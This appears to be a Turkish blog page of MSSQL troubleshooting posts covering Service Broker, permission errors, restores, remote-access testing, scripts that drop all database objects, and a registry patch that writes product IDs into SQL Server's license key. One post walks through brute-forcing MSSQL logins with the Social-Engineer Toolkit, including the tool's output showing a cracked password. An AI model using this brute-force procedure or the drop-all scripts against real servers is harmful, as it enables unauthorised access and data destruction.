The SQL Server Service Broker for the current database is not enabled, and as a result query notifications are not supported. Please enable the Service Broker for this database if you wish to use notifications hatası ve çözümü

Web sitenizde mssql db kullanıyor ve sitenize erişmeye çalıştığınızda The SQL Server Service Broker for the current database is not enabled, and as a result query notifications are not supported. Please enable the Service Broker for this database if you wish to use notifications hatasını görüyor iseniz sql sunucu tarafında yapmanız gereken bir işlem bulunmakta.

Mssql Management Studio u açınız.

İlgili database i bulunuz ve sağ tıklayıp properties ini açınız.

Sol menüden Options a geliniz.

Service Broker bölümünde Broker Enabled bölümünü true olarak set ediniz.

İşlem bu kadar.

Ayhan ARDA

The select permission was denied on the object hatası ve çözümü

The select permission was denied on the object hatası ve çözümü

Mssql de kullanıcının select yetkisi olmasına rağmen bu hatayı alıyor iseniz aşağıdaki yönergeleri takip edebilirsiniz.

Mssql Managemetn Studio ‘ yu açınız.

Security Tabından Logins bölümünü açınız.

Sorun yaşayan kullanıcıyı bulup üzerine sağ tıklayınız ve Properties i açınız.

User Mapping bölümüne geliniz ve yetkili olduğu Database i bulup üzerine 1 kez tıklayınız.

Aşağıda yetkilerini göreceksiniz.

Bu yetkiler arasındaki db_denydatareader ve db_denydatawriter tik lerini kaldırınız ve problemin düzelmediğini tekrar kontrol ediniz.

Ayhan ARDA

An error has occurred while trying to access the license validation file. Please reinstall SQL Server to correct this file hatası ve çözümü

sqlerrorlicense

Sql kurulumundan sonra management studio ya girmeye çalıştığınızda An error has occurred while trying to access the license validation file. Please reinstall SQL Server to correct this file hatası görüyor olabilirsiniz. Çözüm için bir txt dosyasının içine aşağıdakileri yapıştırınız ve kaydediniz , dosyanın uzantısını .reg olarak değiştirip dosyayı çalıştırınız , işlem sonunda tekrar managemnt studio a girmeye çalışabilirsiniz.

Windows Registry Editor Version 5.00
[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Microsoft SQL Server\100\Tools\ClientSetup]
"checksum"=hex:38,39,33,66,66,66,30,65,62,38,32,62,30,34,37,62,31,30,35,31,36,\
 38,32,31,30,30,63,63,36,36,33,30,30,31,35,36,38,61,38,33,36,31,37,63,66,62,\
 31,61,38,61,36,63,32,66,36,35,32,31,39,65,66,34,30,30,39,32,62,37,61,39,32,\
 62,32,35,33,32,33,39,63,62,36,35,33,38,65,31,66,34,61,31,33,63,61,64,32,65,\
 33,34,37,66,37,64,30,64,33,32,32,64,36,36,62,31,62,66,33,66,63,34,34,65,65,\
 35,37,38,34,63,61,65,66,33,64,31,30,31,31,38,65,30,37,63,39,66,66,31,32,61,\
 66,66,63,35,32,32,31,64,61,34,34,32,34,64,37,34,66,63,37,30,39,35,32,32,39,\
 38,62,31,63,34,34,65,66,35,00
"ProductID"="00001-296-0000007-05075"
"DigitalProductID"=hex:a4,00,00,00,03,00,00,00,30,30,30,30,31,2d,32,39,36,2d,\
 30,30,30,30,30,30,37,2d,30,35,30,37,35,00,0a,00,00,00,38,31,30,2d,30,37,34,\
 31,36,00,00,00,00,00,00,00,00,34,49,a3,e1,b4,0c,65,79,03,e0,fe,9e,92,01,00,\
 00,00,00,00,02,19,9f,4a,c3,75,c1,0a,00,00,00,00,00,00,00,00,00,00,00,00,00,\
 00,00,00,00,00,00,00,00,00,00,00,34,36,31,30,33,00,00,00,00,00,00,00,65,05,\
 00,00,77,b1,01,90,af,0f,00,00,17,0d,00,00,00,00,00,00,00,00,00,00,00,00,00,\
 00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,a7,a1,77,36

Setoolkit ile Mssql Şifresi Bulma

Setoolkit i genellikle phishing sayfaları için mi kullanıyorsunuz , setoolkit ile mssql şifresi bulmaya ne dersiniz? Yine bu işlem için setoolkit in hazır kurulu geldiği kali linux dağıtımını kullanıyorum , setoolkit i açmak ile başlayalım.

root@ayhanarda:/# setoolkit

Karşımıza bir menü gelecek.

1) Social-Engineering Attacks
2) Fast-Track Penetration Testing
3) Third Party Modules
4) Update the Social-Engineer Toolkit
5) Update SET configuration
6) Help, Credits, and About

99) Exit the Social-Engineer Toolkit

Mssql şifre denemeleri yapması için 2 numaralı seçenek ile devam ediyoruz ve aşağıdaki menüye ulaşıyoruz.

1) Microsoft SQL Bruter
2) Custom Exploits
3) SCCM Attack Vector
4) Dell DRAC/Chassis Default Checker
5) RID_ENUM – User Enumeration Attack
6) PSEXEC Powershell Injection

99) Return to Main Menu

Yukarıda açılan menüde 1 nolu seçenek ile devam edelim ve aşağıdaki menüye ulaşalım.

1) Scan and Attack MSSQL
2) Connect directly to MSSQL

99) Return to Main Menu

Yukarıdaki menüde 1 nolu seçenek ile devam edelim ve aşağıdaki menüye ulaşalım.

1. Scan IP address or CIDR
2. Import file that contains SQL Server IP addresses

Şimdi yukarıda diyor ki , ben network teki ip adreslerini mi tarayıp sql kurulu sunucu bulayım yoksa sen mi deneme yapmak istediğin sql server ip adresini bir dosyaya yazıp bana söylemek istersin , ben burada 2 nolu seçenek ile devam edeceğim. Mssql server ip adresinin 192.168.1.15 olduğunu varsayalım ve mssql portu 1433 olsun , oluşturacağımız dosya içeriği aşağıdaki gibi olmalı.

root@ayhanarda:~# cat /root/sql.txt
192.168.1.15:1433

Dosyamız hazır ise 2 nolu seçeneği seçtikten sonra aşağıdaki bölüm açılacak ve bizden dosyanın yolunu isteyecek.Örnekteki gibi yazabilirsiniz.

set:fasttrack:mssql:scan> Enter filename for SQL servers (ex. /root/sql.txt – note can be in format of ipaddr:port):/root/sql.txt

Dosya yolunu yazdıktan sonra denemek için bir şifre listemiz olup olmadığını soracaktır , eğer var ise yolunu belirtebilirsiniz , yok ise kendisi içinde tanımlı şifreleri sırası ile deneyecektir , ben daha kolay bulabilmesi için bir sqlsifre.txt dosyası hazırladım ve içine doğru olmayan şifrelerin yanında bir de doğrusunu koydum.

Şifre dosyası yolu belirttikten sonra k.adlarını içeren dosya yolunu soracaktır , yukarıdaki paragrafı tekrar inceleyebilirsiniz , eğer dosya belirtmez iseniz sa kullanıcı adı ile deneyecektir. Bu işlemden sonra enter a bastığınızda hemen çalışmaya başlayacak ve aşağıdaki gibi sonuç üretecektir.

set:fasttrack:mssql:scan> Enter filename for SQL servers (ex. /root/sql.txt – note can be in format of ipaddr:port):/root/sql.txt
set:fasttrack:mssql:scan> Enter path to a wordlist file [use default wordlist]:/root/sqlsifre.txt
set:fasttrack:mssql:scan> Enter the username to brute force or specify username file (/root/users.txt) [sa]:/root/user.lst 
Attempting to brute force  with username of admin and password of password
Attempting to brute force  with username of admin and password of deneme
Attempting to brute force  with username of admin and password of selambensifre
[!] Unable to guess the SQL password for 192.168.1.15 with username of admin
Attempting to brute force  with username of root and password of password
Attempting to brute force  with username of root and password of deneme
Attempting to brute force  with username of root and password of selambensifre
[!] Unable to guess the SQL password for 192.168.1.15 with username of root
Attempting to brute force  with username of selambenkullaniciadi and password of password
Attempting to brute force  with username of selambenkullaniciadi and password of deneme
Attempting to brute force  with username of selambenkullaniciadi and password of selambensifre
[*]
Successful login with username selambenkullaniciadi and password: selambensifre
Attempting to brute force  with username of ayhan_user and password of password
Attempting to brute force  with username of ayhan_user and password of deneme
Attempting to brute force  with username of ayhan_user and password of selambensifre
[!] Unable to guess the SQL password for 192.168.1.15 with username of ayhan_user
[*] Select the compromise SQL server you want to interact with:

1. 192.168.1.15   username: selambenkullaniciadi | password: selambensifre   SQLPort: 1433

99. Return back to the main menu.

Görüldüğü üzere şifre yukarıda belirtilmiştir.

Ayhan ARDA

MSSQL Server’da “saving changes is not permitted the changes you have made require the following tables to be dropped” hatası

Mssql serverda mevcut tablomuzda değişiklik yapmak istediğimizde aşağıdaki hatayı alabiliriz , bunun sebebi sql server management studio nun tabloyu korumak için bizi kısıtlamasıdır.

saving changes is not permitted the changes you have made require the following tables to be dropped

Hatanın çözümü için sql server management studio da Tools menüsüne erişiniz , Designers bölümünde Table and Database Designers ısmında yer alan Prevent saving changes that require table re-creation ın yanındaki tik i kaldırınız , şimdi yapacağınız kaydetme işleminde hata almayacaksınız.

saving-changes-is-not-permitted

Ayhan ARDA

Exclusive access could not be obtained because the database is in use hatası

Veritabanınızı restore etmeye çalışırken bu hatayı alabilirsiniz , sebebi veritabanının o anda aktif olarak kullanılmasıdır.

Hatayı gidermek için Mssql Server Management Studio da Activity Monitor ü açınız.

mssql -activity-monitor

mssql -activity-monitor

Açılan ekranda database kolonuna geliniz ve ilgili db yi seçiniz , hemen alt kısımda aktif bağlantıları göreceksiniz.

Bunların üzerine sağ tıklayıp Kill Process e tıklayınız , bu işlemi bu db deki tüm aktif bağlantılar için yapınız.

mssql-kill-process

mssql-kill-process

Şimdi restore işlemini tekrar deneyebilirsiniz.

Ayhan ARDA

Mssql Serverda Bir database e ait tüm tabloları,ilişkileri, store procedurleri,view leri,functionları silmek

Tabloları Silmek

EXEC sp_MSForEachTable 'DROP TABLE ?'
GO

Tablolar arası ilişkileri silmek

DECLARE @Sql NVARCHAR(500)
DECLARE @Cursor CURSOR
SET @Cursor = CURSOR FAST_FORWARD FOR
 
SELECT DISTINCT sql = 'ALTER TABLE [' + TableCons.TABLE_NAME +
        '] DROP [' + ReferentialCons.CONSTRAINT_NAME + ']'
FROM INFORMATION_SCHEMA.REFERENTIAL_CONSTRAINTS ReferentialCons
LEFT JOIN INFORMATION_SCHEMA.TABLE_CONSTRAINTS TableCons
ON TableCons.CONSTRAINT_NAME = ReferentialCons.CONSTRAINT_NAME
 
OPEN @Cursor FETCH NEXT FROM @Cursor INTO @Sql
WHILE (@@FETCH_STATUS = 0)
BEGIN
    Exec SP_EXECUTESQL @Sql
    FETCH NEXT FROM @Cursor INTO @Sql
END
CLOSE @Cursor DEALLOCATE @Cursor
GO

View’ları silmek

DECLARE @query VARCHAR(MAX) = '';
SELECT @query = @query + 'DROP VIEW [' + name + '];' FROM sys.views;
EXEC(@query);

Stored Procedur’leri silmek

DECLARE @procedureName VARCHAR(500)
DECLARE cur CURSOR
 
FOR SELECT [name] FROM sys.objects WHERE TYPE = 'p'
OPEN cur
FETCH NEXT FROM cur INTO @procedureName
 
WHILE @@fetch_status = 0
BEGIN
    EXEC('DROP PROCEDURE ' + @procedureName)
    FETCH NEXT FROM cur INTO @procedureName
END
 
CLOSE cur
DEALLOCATE cur

Fonksiyonları silmek

DECLARE @functionName VARCHAR(500)
DECLARE cur CURSOR
 
FOR SELECT [name] FROM sys.objects WHERE TYPE = 'fn'
OPEN cur
FETCH NEXT FROM cur INTO @functionName
 
WHILE @@fetch_status = 0
BEGIN
    EXEC('DROP FUNCTION ' + @functionName)
    FETCH NEXT FROM cur INTO @functionName
END
 
CLOSE cur
DEALLOCATE cur

Ayhan ARDA

Mssql Uzak Erişimini Hızlıca Test Etmek

Mssql connection manager kullanmadan uzak mssql e bağlanıp veritabanımıza erişebiliyor muyuz erişemiyor muyuz sorusunun cevabı için aşağıdaki yöntemi uygulayabilirsiniz.

Öncelikle masa üstümüzde bir test.txt isimli dosya yaratalım , sonra dosyanın uzantısını .udl olarak değiştirelim , eğer bu işlemi yapmakta sorun yaşar iseniz muhtemelen bilindik dosya adlarını otomatik olarak gizle seçeneğiniz aktiftir , herhangi bir klasörün view properties menüsünden yapabilirsiniz.

Oluşturduğumuz test.udl dosyasını özelliklerine girip connection tab ını açalım.

Select or enter a server name bölümüne mssql sunucunun ip adresini ya da hostname ini girelim.

Use a specific user name and password bölümünde User name kısmına Size iletilen mssql kullanıcı adınızı girelim , passwprd bölümüne ise şifrenizi girelim.

Eğer buraya kadar bilgiler doğru ve mssql server erişilebilir ise Select the database file as a database name bölümünün üzerine geldiğinizde erişebildiğiniz veritabanı adlarını görebiliyor olacaksınız , işte hepsi bu kadar. Görebiliyorsanız uzak erişim sorunsuzdur.

mssql1mssql2

mssql3mssql4Test remote SQL connectivity EASILY!